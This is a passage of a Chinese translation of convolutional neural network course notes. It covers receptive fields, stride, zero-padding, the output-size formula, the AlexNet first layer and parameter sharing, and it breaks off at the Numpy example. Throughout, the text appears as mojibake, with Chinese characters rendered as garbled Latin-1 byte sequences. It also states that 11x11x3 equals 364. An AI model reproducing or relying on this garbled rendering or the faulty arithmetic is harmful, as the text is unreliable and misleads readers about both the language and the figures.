ไธ€ไธชๅๅทฎๅ‚ๆ•ฐ๏ผ‰ใ€‚ๆณจๆ„่ฟ™ไธช่ฟžๆŽฅๅœจๆทฑๅบฆ็ปดๅบฆไธŠ็š„ๅคงๅฐๅฟ…้กปไธบ3๏ผŒๅ’Œ่พ“ๅ…ฅๆ•ฐๆฎไฝ“็š„ๆทฑๅบฆไธ€่‡ดใ€‚\n\n*ไพ‹2*๏ผšๅ‡่ฎพ่พ“ๅ…ฅๆ•ฐๆฎไฝ“็š„ๅฐบๅฏธๆ˜ฏ[16x16x20]๏ผŒๆ„Ÿๅ—้‡Žๅฐบๅฏธๆ˜ฏ3x3๏ผŒ้‚ฃไนˆๅท็งฏๅฑ‚ไธญๆฏไธช็ฅž็ปๅ…ƒๅ’Œ่พ“ๅ…ฅๆ•ฐๆฎไฝ“ๅฐฑๆœ‰3x3x20=180ไธช่ฟžๆŽฅใ€‚ๅ†ๆฌกๆ็คบ๏ผšๅœจ็ฉบ้—ดไธŠ่ฟžๆŽฅๆ˜ฏๅฑ€้ƒจ็š„๏ผˆ3x3๏ผ‰๏ผŒไฝ†ๆ˜ฏๅœจๆทฑๅบฆไธŠๆ˜ฏๅ’Œ่พ“ๅ…ฅๆ•ฐๆฎไฝ“ไธ€่‡ด็š„๏ผˆ20๏ผ‰ใ€‚\n\n---\n\n![](https://i.loli.net/2018/03/09/5aa293a0bfa4f.png)\n\n**ๅทฆ่พน**๏ผš็บข่‰ฒ็š„ๆ˜ฏ่พ“ๅ…ฅๆ•ฐๆฎไฝ“๏ผˆๆฏ”ๅฆ‚CIFAR-10ไธญ็š„ๅ›พๅƒ๏ผ‰๏ผŒ่“่‰ฒ็š„้ƒจๅˆ†ๆ˜ฏ็ฌฌไธ€ไธชๅท็งฏๅฑ‚ไธญ็š„็ฅž็ปๅ…ƒใ€‚ๅท็งฏๅฑ‚ไธญ็š„ๆฏไธช็ฅž็ปๅ…ƒ้ƒฝๅชๆ˜ฏไธŽ่พ“ๅ…ฅๆ•ฐๆฎไฝ“็š„ไธ€ไธชๅฑ€้ƒจๅœจ็ฉบ้—ดไธŠ็›ธ่ฟž๏ผŒไฝ†ๆ˜ฏไธŽ่พ“ๅ…ฅๆ•ฐๆฎไฝ“็š„ๆ‰€ๆœ‰ๆทฑๅบฆ็ปดๅบฆๅ…จ้ƒจ็›ธ่ฟž๏ผˆๆ‰€ๆœ‰้ขœ่‰ฒ้€š้“๏ผ‰ใ€‚ๅœจๆทฑๅบฆๆ–นๅ‘ไธŠๆœ‰ๅคšไธช็ฅž็ปๅ…ƒ๏ผˆๆœฌไพ‹ไธญ5ไธช๏ผ‰๏ผŒๅฎƒไปฌ้ƒฝๆŽฅๅ—่พ“ๅ…ฅๆ•ฐๆฎ็š„ๅŒไธ€ๅ—ๅŒบๅŸŸ๏ผˆ**ๆ„Ÿๅ—้‡Ž**็›ธๅŒ๏ผ‰ใ€‚่‡ณไบŽๆทฑๅบฆๅˆ—็š„่ฎจ่ฎบๅœจไธ‹ๆ–‡ไธญๆœ‰ใ€‚\n\n**ๅณ่พน**๏ผš็ฅž็ป็ฝ‘็ปœ็ซ ่Š‚ไธญไป‹็ป็š„็ฅž็ปๅ…ƒไฟๆŒไธๅ˜๏ผŒๅฎƒไปฌ่ฟ˜ๆ˜ฏ่ฎก็ฎ—ๆƒ้‡ๅ’Œ่พ“ๅ…ฅ็š„ๅ†…็งฏ๏ผŒ็„ถๅŽ่ฟ›่กŒๆฟ€ๆดปๅ‡ฝๆ•ฐ่ฟ็ฎ—๏ผŒๅชๆ˜ฏๅฎƒไปฌ็š„่ฟžๆŽฅ่ขซ้™ๅˆถๅœจไธ€ไธชๅฑ€้ƒจ็ฉบ้—ดใ€‚\n\n---\n\n**็ฉบ้—ดๆŽ’ๅˆ—**๏ผšไธŠๆ–‡่ฎฒ่งฃไบ†ๅท็งฏๅฑ‚ไธญๆฏไธช็ฅž็ปๅ…ƒไธŽ่พ“ๅ…ฅๆ•ฐๆฎไฝ“ไน‹้—ด็š„่ฟžๆŽฅๆ–นๅผ๏ผŒไฝ†ๆ˜ฏๅฐšๆœช่ฎจ่ฎบ่พ“ๅ‡บๆ•ฐๆฎไฝ“ไธญ็ฅž็ปๅ…ƒ็š„ๆ•ฐ้‡๏ผŒไปฅๅŠๅฎƒไปฌ็š„ๆŽ’ๅˆ—ๆ–นๅผใ€‚3ไธช่ถ…ๅ‚ๆ•ฐๆŽงๅˆถ็€่พ“ๅ‡บๆ•ฐๆฎไฝ“็š„ๅฐบๅฏธ๏ผš**ๆทฑๅบฆ๏ผˆdepth๏ผ‰๏ผŒๆญฅ้•ฟ๏ผˆstride๏ผ‰**ๅ’Œ**้›ถๅกซๅ……๏ผˆzero-padding๏ผ‰**ใ€‚ไธ‹้ขๆ˜ฏๅฏนๅฎƒไปฌ็š„่ฎจ่ฎบ๏ผš\n\n1. ้ฆ–ๅ…ˆ๏ผŒ่พ“ๅ‡บๆ•ฐๆฎไฝ“็š„ๆทฑๅบฆๆ˜ฏไธ€ไธช่ถ…ๅ‚ๆ•ฐ๏ผšๅฎƒๅ’Œไฝฟ็”จ็š„ๆปคๆณขๅ™จ็š„ๆ•ฐ้‡ไธ€่‡ด๏ผŒ่€Œๆฏไธชๆปคๆณขๅ™จๅœจ่พ“ๅ…ฅๆ•ฐๆฎไธญๅฏปๆ‰พไธ€ไบ›ไธๅŒ็š„ไธœ่ฅฟใ€‚ไธพไพ‹ๆฅ่ฏด๏ผŒๅฆ‚ๆžœ็ฌฌไธ€ไธชๅท็งฏๅฑ‚็š„่พ“ๅ…ฅๆ˜ฏๅŽŸๅง‹ๅ›พๅƒ๏ผŒ้‚ฃไนˆๅœจๆทฑๅบฆ็ปดๅบฆไธŠ็š„ไธๅŒ็ฅž็ปๅ…ƒๅฐ†ๅฏ่ƒฝ่ขซไธๅŒๆ–นๅ‘็š„่พน็•Œ๏ผŒๆˆ–่€…ๆ˜ฏ้ขœ่‰ฒๆ–‘็‚นๆฟ€ๆดปใ€‚ๆˆ‘ไปฌๅฐ†่ฟ™ไบ›ๆฒฟ็€ๆทฑๅบฆๆ–นๅ‘ๆŽ’ๅˆ—ใ€ๆ„Ÿๅ—้‡Ž็›ธๅŒ็š„็ฅž็ปๅ…ƒ้›†ๅˆ็งฐไธบ**ๆทฑๅบฆๅˆ—๏ผˆdepth column๏ผ‰**๏ผŒไนŸๆœ‰ไบบไฝฟ็”จ็บค็ปด๏ผˆfibre๏ผ‰ๆฅ็งฐๅ‘ผๅฎƒไปฌใ€‚\n2. ๅ…ถๆฌก๏ผŒๅœจๆป‘ๅŠจๆปคๆณขๅ™จ็š„ๆ—ถๅ€™๏ผŒๅฟ…้กปๆŒ‡ๅฎšๆญฅ้•ฟใ€‚ๅฝ“ๆญฅ้•ฟไธบ1๏ผŒๆปคๆณขๅ™จๆฏๆฌก็งปๅŠจ1ไธชๅƒ็ด ใ€‚ๅฝ“ๆญฅ้•ฟไธบ2๏ผˆๆˆ–่€…ไธๅธธ็”จ็š„3๏ผŒๆˆ–่€…ๆ›ดๅคš๏ผŒ่ฟ™ไบ›ๅœจๅฎž้™…ไธญๅพˆๅฐ‘ไฝฟ็”จ๏ผ‰๏ผŒๆปคๆณขๅ™จๆป‘ๅŠจๆ—ถๆฏๆฌก็งปๅŠจ2ไธชๅƒ็ด ใ€‚่ฟ™ไธชๆ“ไฝœไผš่ฎฉ่พ“ๅ‡บๆ•ฐๆฎไฝ“ๅœจ็ฉบ้—ดไธŠๅ˜ๅฐใ€‚\n3. ๅœจไธ‹ๆ–‡ๅฏไปฅ็œ‹ๅˆฐ๏ผŒๆœ‰ๆ—ถๅ€™ๅฐ†่พ“ๅ…ฅๆ•ฐๆฎไฝ“็”จ0ๅœจ่พน็ผ˜ๅค„่ฟ›่กŒๅกซๅ……ๆ˜ฏๅพˆๆ–นไพฟ็š„ใ€‚่ฟ™ไธช**้›ถๅกซๅ……๏ผˆzero-padding๏ผ‰**็š„ๅฐบๅฏธๆ˜ฏไธ€ไธช่ถ…ๅ‚ๆ•ฐใ€‚้›ถๅกซๅ……ๆœ‰ไธ€ไธช่‰ฏๅฅฝๆ€ง่ดจ๏ผŒๅณๅฏไปฅๆŽงๅˆถ่พ“ๅ‡บๆ•ฐๆฎไฝ“็š„็ฉบ้—ดๅฐบๅฏธ๏ผˆๆœ€ๅธธ็”จ็š„ๆ˜ฏ็”จๆฅไฟๆŒ่พ“ๅ…ฅๆ•ฐๆฎไฝ“ๅœจ็ฉบ้—ดไธŠ็š„ๅฐบๅฏธ๏ผŒ่ฟ™ๆ ท่พ“ๅ…ฅๅ’Œ่พ“ๅ‡บ็š„ๅฎฝ้ซ˜้ƒฝ็›ธ็ญ‰๏ผ‰ใ€‚\n\n่พ“ๅ‡บๆ•ฐๆฎไฝ“ๅœจ็ฉบ้—ดไธŠ็š„ๅฐบๅฏธๅฏไปฅ้€š่ฟ‡่พ“ๅ…ฅๆ•ฐๆฎไฝ“ๅฐบๅฏธ๏ผˆW๏ผ‰๏ผŒๅท็งฏๅฑ‚ไธญ็ฅž็ปๅ…ƒ็š„ๆ„Ÿๅ—้‡Žๅฐบๅฏธ๏ผˆF๏ผ‰๏ผŒๆญฅ้•ฟ๏ผˆS๏ผ‰ๅ’Œ้›ถๅกซๅ……็š„ๆ•ฐ้‡๏ผˆP๏ผ‰็š„ๅ‡ฝๆ•ฐๆฅ่ฎก็ฎ—ใ€‚๏ผˆ**\\*่ฏ‘่€…ๆณจ**๏ผš่ฟ™้‡Œๅ‡่ฎพ่พ“ๅ…ฅๆ•ฐ็ป„็š„็ฉบ้—ดๅฝข็Šถๆ˜ฏๆญฃๆ–นๅฝข๏ผŒๅณ้ซ˜ๅบฆๅ’Œๅฎฝๅบฆ็›ธ็ญ‰*๏ผ‰่พ“ๅ‡บๆ•ฐๆฎไฝ“็š„็ฉบ้—ดๅฐบๅฏธไธบ(W-F +2P)/S+1ใ€‚ๆฏ”ๅฆ‚่พ“ๅ…ฅๆ˜ฏ7x7๏ผŒๆปคๆณขๅ™จๆ˜ฏ3x3๏ผŒๆญฅ้•ฟไธบ1๏ผŒๅกซๅ……ไธบ0๏ผŒ้‚ฃไนˆๅฐฑ่ƒฝๅพ—ๅˆฐไธ€ไธช5x5็š„่พ“ๅ‡บใ€‚ๅฆ‚ๆžœๆญฅ้•ฟไธบ2๏ผŒ่พ“ๅ‡บๅฐฑๆ˜ฏ3x3ใ€‚ไธ‹้ขๆ˜ฏไพ‹ๅญ๏ผš\n\n---\n\n![](https://i.loli.net/2018/03/09/5aa293bce88d8.png)\n\n็ฉบ้—ดๆŽ’ๅˆ—็š„ๅ›พ็คบใ€‚ๅœจๆœฌไพ‹ไธญๅชๆœ‰ไธ€ไธช็ฉบ้—ด็ปดๅบฆ๏ผˆx่ฝด๏ผ‰๏ผŒ็ฅž็ปๅ…ƒ็š„ๆ„Ÿๅ—้‡ŽๅฐบๅฏธF=3๏ผŒ่พ“ๅ…ฅๅฐบๅฏธW=5๏ผŒ้›ถๅกซๅ……P=1ใ€‚ๅทฆ่พน๏ผš็ฅž็ปๅ…ƒไฝฟ็”จ็š„ๆญฅ้•ฟS=1๏ผŒๆ‰€ไปฅ่พ“ๅ‡บๅฐบๅฏธๆ˜ฏ(5-3+2)/1+1=5ใ€‚ๅณ่พน๏ผš็ฅž็ปๅ…ƒ็š„ๆญฅ้•ฟS=2๏ผŒๅˆ™่พ“ๅ‡บๅฐบๅฏธๆ˜ฏ(5-3+2)/2+1=3ใ€‚ๆณจๆ„ๅฝ“ๆญฅ้•ฟS=3ๆ—ถๆ˜ฏๆ— ๆณ•ไฝฟ็”จ็š„๏ผŒๅ› ไธบๅฎƒๆ— ๆณ•ๆ•ด้ฝๅœฐ็ฉฟ่ฟ‡ๆ•ฐๆฎไฝ“ใ€‚ไปŽ็ญ‰ๅผไธŠๆฅ่ฏด๏ผŒๅ› ไธบ(5-3+2)=4ๆ˜ฏไธ่ƒฝ่ขซ3ๆ•ด้™ค็š„ใ€‚\n\n\n\nๆœฌไพ‹ไธญ๏ผŒ็ฅž็ปๅ…ƒ็š„ๆƒ้‡ๆ˜ฏ[1,0,-1]๏ผŒๆ˜พ็คบๅœจๅ›พ็š„ๅณไธŠ่ง’๏ผŒๅๅทฎๅ€ผไธบ0ใ€‚่ฟ™ไบ›ๆƒ้‡ๆ˜ฏ่ขซๆ‰€ๆœ‰้ป„่‰ฒ็š„็ฅž็ปๅ…ƒๅ…ฑไบซ็š„๏ผˆๅ‚ๆ•ฐๅ…ฑไบซ็š„ๅ†…ๅฎน็œ‹ไธ‹ๆ–‡็›ธๅ…ณๅ†…ๅฎน๏ผ‰ใ€‚\n\n---\n\n*ไฝฟ็”จ้›ถๅกซๅ……*๏ผšๅœจไธŠ้ขๅทฆ่พนไพ‹ๅญไธญ๏ผŒๆณจๆ„่พ“ๅ…ฅ็ปดๅบฆๆ˜ฏ5๏ผŒ่พ“ๅ‡บ็ปดๅบฆไนŸๆ˜ฏ5ใ€‚ไน‹ๆ‰€ไปฅๅฆ‚ๆญค๏ผŒๆ˜ฏๅ› ไธบๆ„Ÿๅ—้‡Žๆ˜ฏ3ๅนถไธ”ไฝฟ็”จไบ†1็š„้›ถๅกซๅ……ใ€‚ๅฆ‚ๆžœไธไฝฟ็”จ้›ถๅกซๅ……๏ผŒๅˆ™่พ“ๅ‡บๆ•ฐๆฎไฝ“็š„็ฉบ้—ด็ปดๅบฆๅฐฑๅชๆœ‰3๏ผŒๅ› ไธบ่ฟ™ๅฐฑๆ˜ฏๆปคๆณขๅ™จๆ•ด้ฝๆป‘่ฟ‡ๅนถ่ฆ†็›–ๅŽŸๅง‹ๆ•ฐๆฎ้œ€่ฆ็š„ๆ•ฐ็›ฎใ€‚ไธ€่ˆฌ่ฏดๆฅ๏ผŒๅฝ“ๆญฅ้•ฟ$S=1$ๆ—ถ๏ผŒ้›ถๅกซๅ……็š„ๅ€ผๆ˜ฏ$P=(F-1)/2$๏ผŒ่ฟ™ๆ ทๅฐฑ่ƒฝไฟ่ฏ่พ“ๅ…ฅๅ’Œ่พ“ๅ‡บๆ•ฐๆฎไฝ“ๆœ‰็›ธๅŒ็š„็ฉบ้—ดๅฐบๅฏธใ€‚่ฟ™ๆ ทๅš้žๅธธๅธธ่ง๏ผŒๅœจไป‹็ปๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„็ป“ๆž„็š„ๆ—ถๅ€™ๆˆ‘ไปฌไผš่ฏฆ็ป†่ฎจ่ฎบๅ…ถๅŽŸๅ› ใ€‚\n\n*ๆญฅ้•ฟ็š„้™ๅˆถ*๏ผšๆณจๆ„่ฟ™ไบ›็ฉบ้—ดๆŽ’ๅˆ—็š„่ถ…ๅ‚ๆ•ฐไน‹้—ดๆ˜ฏ็›ธไบ’้™ๅˆถ็š„ใ€‚ไธพไพ‹่ฏดๆฅ๏ผŒๅฝ“่พ“ๅ…ฅๅฐบๅฏธ$W=10$๏ผŒไธไฝฟ็”จ้›ถๅกซๅ……ๅˆ™$P=0$๏ผŒๆปคๆณขๅ™จๅฐบๅฏธ$F=3$๏ผŒ่ฟ™ๆ ทๆญฅ้•ฟ$S=2$ๅฐฑ่กŒไธ้€š๏ผŒๅ› ไธบ$(W-F+2P)/S+1=(10-3+0)/2+1=4.5$๏ผŒ็ป“ๆžœไธๆ˜ฏๆ•ดๆ•ฐ๏ผŒ่ฟ™ๅฐฑๆ˜ฏ่ฏด็ฅž็ปๅ…ƒไธ่ƒฝๆ•ด้ฝๅฏน็งฐๅœฐๆป‘่ฟ‡่พ“ๅ…ฅๆ•ฐๆฎไฝ“ใ€‚ๅ› ๆญค๏ผŒ่ฟ™ไบ›่ถ…ๅ‚ๆ•ฐ็š„่ฎพๅฎšๅฐฑ่ขซ่ฎคไธบๆ˜ฏๆ— ๆ•ˆ็š„๏ผŒไธ€ไธชๅท็งฏ็ฅž็ป็ฝ‘็ปœๅบ“ๅฏ่ƒฝไผšๆŠฅๅ‡บไธ€ไธช้”™่ฏฏ๏ผŒๆˆ–่€…ไฟฎๆ”น้›ถๅกซๅ……ๅ€ผๆฅ่ฎฉ่ฎพ็ฝฎๅˆ็†๏ผŒๆˆ–่€…ไฟฎๆ”น่พ“ๅ…ฅๆ•ฐๆฎไฝ“ๅฐบๅฏธๆฅ่ฎฉ่ฎพ็ฝฎๅˆ็†๏ผŒๆˆ–่€…ๅ…ถไป–ไป€ไนˆๆŽชๆ–ฝใ€‚ๅœจๅŽ้ข็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœ็ป“ๆž„ๅฐ่Š‚ไธญ๏ผŒ่ฏป่€…ๅฏไปฅ็œ‹ๅˆฐๅˆ็†ๅœฐ่ฎพ็ฝฎ็ฝ‘็ปœ็š„ๅฐบๅฏธ่ฎฉๆ‰€ๆœ‰็š„็ปดๅบฆ้ƒฝ่ƒฝๆญฃๅธธๅทฅไฝœ๏ผŒ่ฟ™ไปถไบ‹ๅฏๆ˜ฏ็›ธๅฝ“่ฎฉไบบๅคด็—›็š„ใ€‚่€Œไฝฟ็”จ้›ถๅกซๅ……ๅ’Œ้ตๅฎˆๅ…ถไป–ไธ€ไบ›่ฎพ่ฎก็ญ–็•ฅๅฐ†ไผšๆœ‰ๆ•ˆ่งฃๅ†ณ่ฟ™ไธช้—ฎ้ข˜ใ€‚\n\n*็œŸๅฎžๆกˆไพ‹*๏ผš[Krizhevsky](http://link.zhihu.com/?target=http%3A//papers.nips.cc/paper/4824-imagenet-classification-with-deep-convolutional-neural-networks)ๆž„ๆžถ่ตขๅพ—ไบ†2012ๅนด็š„ImageNetๆŒ‘ๆˆ˜๏ผŒๅ…ถ่พ“ๅ…ฅๅ›พๅƒ็š„ๅฐบๅฏธๆ˜ฏ[227x227x3]ใ€‚ๅœจ็ฌฌไธ€ไธชๅท็งฏๅฑ‚๏ผŒ็ฅž็ปๅ…ƒไฝฟ็”จ็š„ๆ„Ÿๅ—้‡Žๅฐบๅฏธ$F=11$๏ผŒๆญฅ้•ฟ$S=4$๏ผŒไธไฝฟ็”จ้›ถๅกซๅ……$P=0$ใ€‚ๅ› ไธบ(227-11)/4+1=55๏ผŒๅท็งฏๅฑ‚็š„ๆทฑๅบฆ$K=96$๏ผŒๅˆ™ๅท็งฏๅฑ‚็š„่พ“ๅ‡บๆ•ฐๆฎไฝ“ๅฐบๅฏธไธบ[55x55x96]ใ€‚55x55x96ไธช็ฅž็ปๅ…ƒไธญ๏ผŒๆฏไธช้ƒฝๅ’Œ่พ“ๅ…ฅๆ•ฐๆฎไฝ“ไธญไธ€ไธชๅฐบๅฏธไธบ[11x11x3]็š„ๅŒบๅŸŸๅ…จ่ฟžๆŽฅใ€‚ๅœจๆทฑๅบฆๅˆ—ไธŠ็š„96ไธช็ฅž็ปๅ…ƒ้ƒฝๆ˜ฏไธŽ่พ“ๅ…ฅๆ•ฐๆฎไฝ“ไธญๅŒไธ€ไธช[11x11x3]ๅŒบๅŸŸ่ฟžๆŽฅ๏ผŒไฝ†ๆ˜ฏๆƒ้‡ไธๅŒใ€‚ๆœ‰ไธ€ไธชๆœ‰่ถฃ็š„็ป†่Š‚๏ผŒๅœจๅŽŸ่ฎบๆ–‡ไธญ๏ผŒ่ฏด็š„่พ“ๅ…ฅๅ›พๅƒๅฐบๅฏธๆ˜ฏ224x224๏ผŒ่ฟ™ๆ˜ฏ่‚ฏๅฎš้”™่ฏฏ็š„๏ผŒๅ› ไธบ(224-11)/4+1็š„็ป“ๆžœไธๆ˜ฏๆ•ดๆ•ฐใ€‚่ฟ™ไปถไบ‹ๅœจๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„ๅŽ†ๅฒไธŠ่ฎฉๅพˆๅคšไบบ่ฟทๆƒ‘๏ผŒ่€Œ่ฟ™ไธช้”™่ฏฏๅˆฐๅบ•ๆ˜ฏๆ€Žไนˆๅ‘็”Ÿ็š„ๆฒกไบบ็Ÿฅ้“ใ€‚ๆˆ‘็š„็Œœๆต‹ๆ˜ฏAlexๅฟ˜่ฎฐๅœจ่ฎบๆ–‡ไธญๆŒ‡ๅ‡บ่‡ชๅทฑไฝฟ็”จไบ†ๅฐบๅฏธไธบ3็š„้ขๅค–็š„้›ถๅกซๅ……ใ€‚\n\n**ๅ‚ๆ•ฐๅ…ฑไบซ**๏ผšๅœจๅท็งฏๅฑ‚ไธญไฝฟ็”จๅ‚ๆ•ฐๅ…ฑไบซๆ˜ฏ็”จๆฅๆŽงๅˆถๅ‚ๆ•ฐ็š„ๆ•ฐ้‡ใ€‚ๅฐฑ็”จไธŠ้ข็š„ไพ‹ๅญ๏ผŒๅœจ็ฌฌไธ€ไธชๅท็งฏๅฑ‚ๅฐฑๆœ‰55x55x96=290,400ไธช็ฅž็ปๅ…ƒ๏ผŒๆฏไธชๆœ‰11x11x3=364ไธชๅ‚ๆ•ฐๅ’Œ1ไธชๅๅทฎใ€‚ๅฐ†่ฟ™ไบ›ๅˆ่ตทๆฅๅฐฑๆ˜ฏ290400x364=105,705,600ไธชๅ‚ๆ•ฐใ€‚ๅ•ๅ•็ฌฌไธ€ๅฑ‚ๅฐฑๆœ‰่ฟ™ไนˆๅคšๅ‚ๆ•ฐ๏ผŒๆ˜พ็„ถ่ฟ™ไธชๆ•ฐ็›ฎๆ˜ฏ้žๅธธๅคง็š„ใ€‚\n\nไฝœไธ€ไธชๅˆ็†็š„ๅ‡่ฎพ๏ผšๅฆ‚ๆžœไธ€ไธช็‰นๅพๅœจ่ฎก็ฎ—ๆŸไธช็ฉบ้—ดไฝ็ฝฎ(x,y)็š„ๆ—ถๅ€™ๆœ‰็”จ๏ผŒ้‚ฃไนˆๅฎƒๅœจ่ฎก็ฎ—ๅฆไธ€ไธชไธๅŒไฝ็ฝฎ(x2,y2)็š„ๆ—ถๅ€™ไนŸๆœ‰็”จใ€‚ๅŸบไบŽ่ฟ™ไธชๅ‡่ฎพ๏ผŒๅฏไปฅๆ˜พ่‘—ๅœฐๅ‡ๅฐ‘ๅ‚ๆ•ฐๆ•ฐ้‡ใ€‚ๆข่จ€ไน‹๏ผŒๅฐฑๆ˜ฏๅฐ†ๆทฑๅบฆ็ปดๅบฆไธŠไธ€ไธชๅ•็‹ฌ็š„2็ปดๅˆ‡็‰‡็œ‹ๅš**ๆทฑๅบฆๅˆ‡็‰‡๏ผˆdepth slice๏ผ‰**๏ผŒๆฏ”ๅฆ‚ไธ€ไธชๆ•ฐๆฎไฝ“ๅฐบๅฏธไธบ[55x55x96]็š„ๅฐฑๆœ‰96ไธชๆทฑๅบฆๅˆ‡็‰‡๏ผŒๆฏไธชๅฐบๅฏธไธบ[55x55]ใ€‚ๅœจๆฏไธชๆทฑๅบฆๅˆ‡็‰‡ไธŠ็š„็ฅž็ปๅ…ƒ้ƒฝไฝฟ็”จๅŒๆ ท็š„ๆƒ้‡ๅ’Œๅๅทฎใ€‚ๅœจ่ฟ™ๆ ท็š„ๅ‚ๆ•ฐๅ…ฑไบซไธ‹๏ผŒไพ‹ๅญไธญ็š„็ฌฌไธ€ไธชๅท็งฏๅฑ‚ๅฐฑๅชๆœ‰96ไธชไธๅŒ็š„ๆƒ้‡้›†ไบ†๏ผŒไธ€ไธชๆƒ้‡้›†ๅฏนๅบ”ไธ€ไธชๆทฑๅบฆๅˆ‡็‰‡๏ผŒๅ…ฑๆœ‰96x11x11x3=34,848ไธชไธๅŒ็š„ๆƒ้‡๏ผŒๆˆ–34,944ไธชๅ‚ๆ•ฐ๏ผˆ+96ไธชๅๅทฎ๏ผ‰ใ€‚ๅœจๆฏไธชๆทฑๅบฆๅˆ‡็‰‡ไธญ็š„55x55ไธชๆƒ้‡ไฝฟ็”จ็š„้ƒฝๆ˜ฏๅŒๆ ท็š„ๅ‚ๆ•ฐใ€‚ๅœจๅๅ‘ไผ ๆ’ญ็š„ๆ—ถๅ€™๏ผŒ้ƒฝ่ฆ่ฎก็ฎ—ๆฏไธช็ฅž็ปๅ…ƒๅฏนๅฎƒ็š„ๆƒ้‡็š„ๆขฏๅบฆ๏ผŒไฝ†ๆ˜ฏ้œ€่ฆๆŠŠๅŒไธ€ไธชๆทฑๅบฆๅˆ‡็‰‡ไธŠ็š„ๆ‰€ๆœ‰็ฅž็ปๅ…ƒๅฏนๆƒ้‡็š„ๆขฏๅบฆ็ดฏๅŠ ๏ผŒ่ฟ™ๆ ทๅฐฑๅพ—ๅˆฐไบ†ๅฏนๅ…ฑไบซๆƒ้‡็š„ๆขฏๅบฆใ€‚่ฟ™ๆ ท๏ผŒๆฏไธชๅˆ‡็‰‡ๅชๆ›ดๆ–ฐไธ€ไธชๆƒ้‡้›†ใ€‚\n\nๆณจๆ„๏ผŒๅฆ‚ๆžœๅœจไธ€ไธชๆทฑๅบฆๅˆ‡็‰‡ไธญ็š„ๆ‰€ๆœ‰ๆƒ้‡้ƒฝไฝฟ็”จๅŒไธ€ไธชๆƒ้‡ๅ‘้‡๏ผŒ้‚ฃไนˆๅท็งฏๅฑ‚็š„ๅ‰ๅ‘ไผ ๆ’ญๅœจๆฏไธชๆทฑๅบฆๅˆ‡็‰‡ไธญๅฏไปฅ็œ‹ๅšๆ˜ฏๅœจ่ฎก็ฎ—็ฅž็ปๅ…ƒๆƒ้‡ๅ’Œ่พ“ๅ…ฅๆ•ฐๆฎไฝ“็š„**ๅท็งฏ**๏ผˆ่ฟ™ๅฐฑๆ˜ฏโ€œๅท็งฏๅฑ‚โ€ๅๅญ—็”ฑๆฅ๏ผ‰ใ€‚่ฟ™ไนŸๆ˜ฏไธบไป€ไนˆๆ€ปๆ˜ฏๅฐ†่ฟ™ไบ›ๆƒ้‡้›†ๅˆ็งฐไธบ**ๆปคๆณขๅ™จ๏ผˆfilter๏ผ‰**๏ผˆๆˆ–**ๅท็งฏๆ ธ๏ผˆkernel๏ผ‰**๏ผ‰๏ผŒๅ› ไธบๅฎƒไปฌๅ’Œ่พ“ๅ…ฅ่ฟ›่กŒไบ†ๅท็งฏใ€‚\n\n---\n\n![](https://i.loli.net/2018/03/09/5aa293df87196.png)\n\nKrizhevsky็ญ‰ๅญฆไน ๅˆฐ็š„ๆปคๆณขๅ™จไพ‹ๅญใ€‚่ฟ™96ไธชๆปคๆณขๅ™จ็š„ๅฐบๅฏธ้ƒฝๆ˜ฏ[11x11x3]๏ผŒๅœจไธ€ไธชๆทฑๅบฆๅˆ‡็‰‡ไธญ๏ผŒๆฏไธชๆปคๆณขๅ™จ้ƒฝ่ขซ55x55ไธช็ฅž็ปๅ…ƒๅ…ฑไบซใ€‚ๆณจๆ„ๅ‚ๆ•ฐๅ…ฑไบซ็š„ๅ‡่ฎพๆ˜ฏๆœ‰้“็†็š„๏ผšๅฆ‚ๆžœๅœจๅ›พๅƒๆŸไบ›ๅœฐๆ–นๆŽขๆต‹ๅˆฐไธ€ไธชๆฐดๅนณ็š„่พน็•Œๆ˜ฏๅพˆ้‡่ฆ็š„๏ผŒ้‚ฃไนˆๅœจๅ…ถไป–ไธ€ไบ›ๅœฐๆ–นไนŸไผšๅŒๆ ทๆ˜ฏๆœ‰็”จ็š„๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบๅ›พๅƒ็ป“ๆž„ๅ…ทๆœ‰ๅนณ็งปไธๅ˜ๆ€งใ€‚ๆ‰€ไปฅๅœจๅท็งฏๅฑ‚็š„่พ“ๅ‡บๆ•ฐๆฎไฝ“็š„55x55ไธชไธๅŒไฝ็ฝฎไธญ๏ผŒๅฐฑๆฒกๆœ‰ๅฟ…่ฆ้‡ๆ–ฐๅญฆไน ๅŽปๆŽขๆต‹ไธ€ไธชๆฐดๅนณ่พน็•Œไบ†ใ€‚\n\n---\n\nๆณจๆ„ๆœ‰ๆ—ถๅ€™ๅ‚ๆ•ฐๅ…ฑไบซๅ‡่ฎพๅฏ่ƒฝๆฒกๆœ‰ๆ„ไน‰๏ผŒ็‰นๅˆซๆ˜ฏๅฝ“ๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„่พ“ๅ…ฅๅ›พๅƒๆ˜ฏไธ€ไบ›ๆ˜Ž็กฎ็š„ไธญๅฟƒ็ป“ๆž„ๆ—ถๅ€™ใ€‚่ฟ™ๆ—ถๅ€™ๆˆ‘ไปฌๅฐฑๅบ”่ฏฅๆœŸๆœ›ๅœจๅ›พ็‰‡็š„ไธๅŒไฝ็ฝฎๅญฆไน ๅˆฐๅฎŒๅ…จไธๅŒ็š„็‰นๅพใ€‚ไธ€ไธชๅ…ทไฝ“็š„ไพ‹ๅญๅฐฑๆ˜ฏ่พ“ๅ…ฅๅ›พๅƒๆ˜ฏไบบ่„ธ๏ผŒไบบ่„ธไธ€่ˆฌ้ƒฝๅค„ไบŽๅ›พ็‰‡ไธญๅฟƒใ€‚ไฝ ๅฏ่ƒฝๆœŸๆœ›ไธๅŒ็š„็‰นๅพ๏ผŒๆฏ”ๅฆ‚็œผ็›็‰นๅพๆˆ–่€…ๅคดๅ‘็‰นๅพๅฏ่ƒฝ๏ผˆไนŸๅบ”่ฏฅ๏ผ‰ไผšๅœจๅ›พ็‰‡็š„ไธๅŒไฝ็ฝฎ่ขซๅญฆไน ใ€‚ๅœจ่ฟ™ไธชไพ‹ๅญไธญ๏ผŒ้€šๅธธๅฐฑๆ”พๆพๅ‚ๆ•ฐๅ…ฑไบซ็š„้™ๅˆถ๏ผŒๅฐ†ๅฑ‚็งฐไธบ**ๅฑ€้ƒจ่ฟžๆŽฅๅฑ‚**๏ผˆLocally-Connected Layer๏ผ‰ใ€‚\n\n\n\n**Numpyไพ‹ๅญ**๏ผšไธบไบ†่ฎฉ่ฎจ่ฎบๆ›ดๅŠ 